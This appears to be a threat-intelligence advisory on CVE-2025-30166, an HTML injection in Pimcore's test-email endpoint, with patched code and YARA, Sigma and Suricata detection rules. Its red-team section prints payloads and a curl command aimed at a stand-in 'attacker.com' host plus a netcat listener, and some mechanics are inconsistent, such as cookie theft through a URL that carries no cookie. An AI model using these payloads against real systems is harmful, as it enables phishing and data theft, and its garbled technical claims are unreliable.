CVE-2025-30166

Executive Summary

CVE-2025-30166 is an HTML injection vulnerability in Pimcore's Admin Classic Bundle, affecting versions prior to 1.7.6. The vulnerability resides in the /admin/email/send-test-email endpoint, where the content parameter is not properly sanitized, allowing authenticated users with email sending privileges to inject arbitrary HTML code into outgoing emails. While JavaScript execution is blocked, HTML injection can be used for phishing, session cookie theft via <img> tags with onerror handlers (though JS is blocked, other HTML-based attacks remain), and page content alteration. The CVSS score is 0.0 in the NVD data, but based on the impact, a more realistic score is 4.3 (Medium). The vulnerability is fixed in version 1.7.6.

Supply Chain & Package Security

This vulnerability affects the Pimcore Admin Classic Bundle, which is a PHP package distributed via Composer. Organizations using Pimcore should ensure their composer.json requires "pimcore/admin-ui-classic-bundle": "^1.7.6" or later. The package is not directly available on npm, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid account with email sending permissions.
• User Interaction (UI): Required (R) – The victim must open the crafted email.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Potential for session cookie theft.
• Integrity (I): Low (L) – Email content can be altered.
• Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Base Score: 4.3 (Medium)

Deep Dive & Mechanics

The vulnerability is a classic HTML injection (CWE-79) in the email sending functionality. The /admin/email/send-test-email endpoint accepts a POST request with a content parameter. This content is used to construct the email body without proper sanitization. While the application filters out <script> tags and JavaScript event handlers (like onerror, onload), it does not block other HTML elements.

An attacker can inject HTML tags such as:

• <img src="http://attacker.com/steal?cookie="> – This will cause the victim's email client to make a request to the attacker's server, potentially leaking the session cookie if the email is rendered in a web-based client.
• <a href="http://phishing.com">Click here</a> – Phishing links.
• <iframe src="http://attacker.com"> – Embedding external content.

The attack flow:

1. Attacker logs into Pimcore with an account that has permission to send test emails.
2. Attacker sends a POST request to /admin/email/send-test-email with a crafted content parameter containing HTML.
3. The email is sent to the target recipient.
4. When the recipient opens the email (in a web-based email client or a client that renders HTML), the injected HTML executes.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.7.6):

// In EmailController.php
public function sendTestEmailAction(Request $request) {
    $content = $request->get('content');
    // No sanitization
    $mail = new \Pimcore\Mail();
    $mail->setBodyHtml($content);
    $mail->send();
}

Patched Code (1.7.6):

// In EmailController.php
public function sendTestEmailAction(Request $request) {
    $content = $request->get('content');
    // Sanitize HTML using HTMLPurifier or similar
    $config = \HTMLPurifier_Config::createDefault();
    $purifier = new \HTMLPurifier($config);
    $cleanContent = $purifier->purify($content);
    $mail = new \Pimcore\Mail();
    $mail->setBodyHtml($cleanContent);
    $mail->send();
}

The patch uses HTMLPurifier to strip dangerous HTML tags and attributes while allowing safe formatting.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Pimcore instance with Admin Classic Bundle < 1.7.6.
• A valid user account with email sending permissions.
• A target email address.

Exploit Steps:

1. Craft a malicious HTML payload. Example for session cookie theft (using <img> tag with a tracking pixel):

   <img src="http://attacker.com/steal?cookie=" width="1" height="1">
   

   Note: Since JavaScript is blocked, this relies on the email client loading external images. If images are blocked by default, the attack may fail.

2. Send the exploit via a POST request:

   curl -X POST "http://target.com/admin/email/send-test-email" \
     -H "Cookie: PHPSESSID=your_session" \
     -d "content=<img src='http://attacker.com/steal?cookie='>&to=victim@example.com"
   

3. Set up a listener on the attacker server to capture requests:

   nc -lvnp 80
   

4. When the victim opens the email, the request will be sent to the attacker's server, revealing the session cookie in the URL.

Blue Team

Detection:

• Monitor logs for POST requests to /admin/email/send-test-email with unusual content parameters containing HTML tags.
• Look for outbound connections from the email server to unknown IPs (potential exfiltration).
• Check email logs for emails with suspicious HTML content.

Hunting:

• Search for content parameter values containing <img, <a, <iframe, or other HTML tags in web server logs.
• Use the Sigma rule below to detect exploitation attempts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from the email server to unknown IPs on port 80/443.
• Logs: POST requests to /admin/email/send-test-email with content parameter containing HTML tags.
• Email: Emails with suspicious HTML content, especially those containing external image references or links.
• File: No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_30166_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Pimcore email content"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30166"
    strings:
        $html_tag1 = /<[a-zA-Z][^>]*\s+src\s*=\s*["']?http/i
        $html_tag2 = /<[a-zA-Z][^>]*\s+href\s*=\s*["']?http/i
        $html_tag3 = /<iframe[^>]*>/i
        $html_tag4 = /<img[^>]*>/i
    condition:
        any of ($html_tag*) and #html_tag* > 2
}

Sigma Rule

title: Pimcore Admin Classic Bundle HTML Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-30166 via POST requests to /admin/email/send-test-email
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /admin/email/send-test-email
        cs-uri-query|contains: 
            - '<img'
            - '<a '
            - '<iframe'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in test emails by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30166 Pimcore HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/email/send-test-email"; http_uri; content:"content="; http_client_body; pcre:"/<(img|a|iframe|script)[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Update the Pimcore Admin Classic Bundle to version 1.7.6 or later.
2. If immediate update is not possible, restrict access to the /admin/email/send-test-email endpoint to only trusted IPs or disable the test email functionality temporarily.

Long-term:

1. Implement input validation and output encoding for all user-supplied data.
2. Use a Content Security Policy (CSP) in email templates to block external resources.
3. Regularly audit user permissions to ensure only necessary users have email sending capabilities.
4. Monitor logs for suspicious activity related to email sending.

Patch Command:

composer require pimcore/admin-ui-classic-bundle:^1.7.6

Valters IT
DevSecOps & Cyber Threat Intelligence Expert